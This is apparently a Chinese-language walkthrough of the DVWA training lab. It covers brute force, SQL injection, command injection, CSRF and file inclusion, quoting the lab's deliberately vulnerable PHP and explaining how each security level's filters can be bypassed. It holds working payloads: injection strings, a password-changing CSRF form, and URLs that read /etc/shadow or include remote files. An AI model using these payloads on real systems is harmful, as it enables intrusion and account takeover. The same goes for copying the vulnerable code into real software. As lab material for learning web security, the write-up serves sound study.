一个小型靶场。
这题的名字是爆破,那我们就爆破一下试试
先随便提交一个密码和用户名,打开代理,bp抓包
然后,发送到Intruder模块,进行如下设置
然后载入字典
然后start attack,在结果中找到长度特殊的就是正确的用户名和密码
源码
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= ""; } else { // Login failed $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
可以看出来没有对username和password进行任何过滤,这里存在SQL注入漏洞。
username=admin' or '1'='1
或者username=admin'#
,即可成功登入
源码
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= ""; } else { // Login failed sleep( 2 ); $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
查看源码即可发现,这段代码里面添加了一个mysqli_real_escape_string()函数,这个函数主要对一些特殊字符作出了过滤,具体查看mysql_real_escape_string()
本函数将 unescaped_string 中的特殊字符转义,并计及连接的当前字符集,因此可以安全用于 mysql_query()。
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, , ', " 和 \x1a.
这个函数能抵挡大部分的SQL注入,但是也有缺陷,可以看看。
虽然无法SQL注入,但还是可以进行爆破,只是有个sleep()函数延时,步骤就像low一样,即可登入。
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= ""; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
high 的代码中又添加了一个函数 stripslashes(),来去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个.
还有mysqli_real_escape_string()函数过滤一些特殊字符,防止SQL注入。
此外,这代码中还添加了token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
impossible级别的代码中,加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。
参考文章
即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
源码
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "{$cmd}
";
}
?>
这段代码中,主要是两个函数
stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。
漏洞利用
window和linux系统都可以用&&来执行多条命令
payload:127.0.0.1&&dir
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "{$cmd}
";
}
?>
medium级别的代码中,用一个数组替换了**&&和;,但是并没有过滤掉&**,也可以这样写127.0.0.1&;&dir
,再或者使用127.0.0.1|dir
payload:127.0.0.1&dir
或者127.0.0.1&;&dir
“&&”和“&”的区别:
ping 127.0.0.1&&dir
先执行ping 127.0.0.1,执行成功,再执行dir,否则不执行dir
ping 127.0.0.1&dir
无论ping 127.0.0.1是否执行成功,都会执行dir
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "{$cmd}
";
}
?>
high级别的代码中添加了更严格的过滤,过滤了&、;、| 、-、$、(、)、`、||。
过滤了"| "(后面多个空格),只要没有空格就可以绕过,就不会被滤掉,
payload:127.0.0.1|dir
{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
$html .= 'ERROR: You have entered an invalid IP.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
stripslashes(string)
stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit)
把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
is_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
如何测试命令注入
总结
命令注入漏洞是特别危险的,因为它们允许未经授权的执行操作系统命令, 它们的存在,因为应用程序无法正确地验证和消毒,使用时调用shell的功能,如的参数。 攻击者与控制这些参数可以欺骗应用程序执行任何系统命令自己的选择。
例如,UNIX应用程序列出了使用的文件夹的内容。 它需要的字符串FOLDER_NAME,从用户,没有任何验证,连接到“ls”的建立实际的命令。 应用程序,然后通过命令(“LS FOLDER_NAME “)的系统()函数,并获取结果。 一个命令注入漏洞,允许攻击者注入额外的命 令在输入字符串FOLDER_NAME的, 其结果是被欺骗应用程序执行攻击者的额外的命 令。
为了正确测试命令注入漏洞,应遵循以下步骤:
第1步: 了解攻击场景
第2步: 分析原因及对策
第3步: 开始试验和探索
第4步: 微调测试案例
参考文章1
参考文章
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
$html .= "Password Changed."; } else { // Issue with passwords matching $html .= "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
尝试更改密码
链接变成了http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
那么我们可以构造一个CSRF攻击的链接,用同一个浏览器点击这个链接http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
就会改掉密码,变成password
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Firefox登录的这个系统,而用Chrome点击这个链接,攻击是不会触发的,因为Chrome并不能利用Firefox的cookie,所以会自动跳转到登录界面。
构造攻击页面
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。在本地写一个test.html,下面是具体代码。
404
file not found.
访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了password
也可以利用bp抓包之后,利用自带的工具CSRF PoC
得到一个脚本文件,复制之后,新建一个.html文件,
<html>
<body>
<script>history.pushState('', '', '/')script>
<form action="http://127.0.0.1/WWW/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123" />
<input type="hidden" name="password_conf" value="123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
form>
body>
html>
使用同一个浏览器打开,
点击submit
成功更改密码。
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
$html .= "Password Changed."; } else { // Issue with passwords matching $html .= "
Passwords did not match."; } } else { // Didn't come from a trusted source $html .= "
That request didn't look correct."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。这个函数可使用url二次编码绕过。
使用eregi()函数检查HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1),所以referer中必须含有主机地址才行
使用bp抓包后,
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Otz4Wdps-1570539890622)(https://s2.ax1x.com/2019/10/08/uf7L24.png)]
可以像上面一样,得到一个脚本文件
保存成.html文件,访问之后,即可更改密码
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
$html .= "Password Changed."; } else { // Issue with passwords matching $html .= "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
high级别的代码中添加了对token的验证,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
参考文章https://www.freebuf.com/articles/web/118352.html
参考文章https://www.cnblogs.com/xiaoqiyue/p/10144351.html
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
// The page we wish to display
$file = $_GET[ 'page' ];
?>
代码很少,就一行,没有对参数进行任何的处理,点击下面的三个链接,可以看到url中的变化
尝试读取shadow文件http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=/etc/shadow
可以看到报错信息,可见不是Linux系统,而是Windows系统,同时也可以看到一个绝对路径F:\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php
尝试读取文件http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=F:\phpstudy\PHPTutorial\WWW\DVWA\php.ini
上面使用的是绝对路径,也可以使用相对路径,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=..\..\php.ini
能够读取到php.ini配置文件,
远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态On时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
假如,一个地址为x.x.x.x的服务器上包含一个phpinfo.txt文件,内容
phpinfo();
?>
那么就可以通过访问http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=http://x.x.x.x/phpinfo.txt
,来执行phpinfo()函数
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
medium的代码中对一些字符进行了过滤,“http://”,“https://”
,"…/", “…\”,
这里过滤了…\,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=..\..\php.ini
应该是无法读取文件的,但是这里依然可以读取,有点懵
这里使用绝对路径是完全没问题的
这里过滤了http://
和https://
,但是str_replace有很大的安全问题,可以使用大小写或者双写绕过这个检测,所以,远程文件包含,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=htthttp://p://x.x.x.x/phpinfo.txt
或者http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=HTtp://x.x.x.x/phpinfo.txt
来实现远程文件包含。
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。fnmatch
看似安全,但是可以利用file协议来读取文件
http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=file://F:\phpstudy\PHPTutorial\WWW\DVWA\php.ini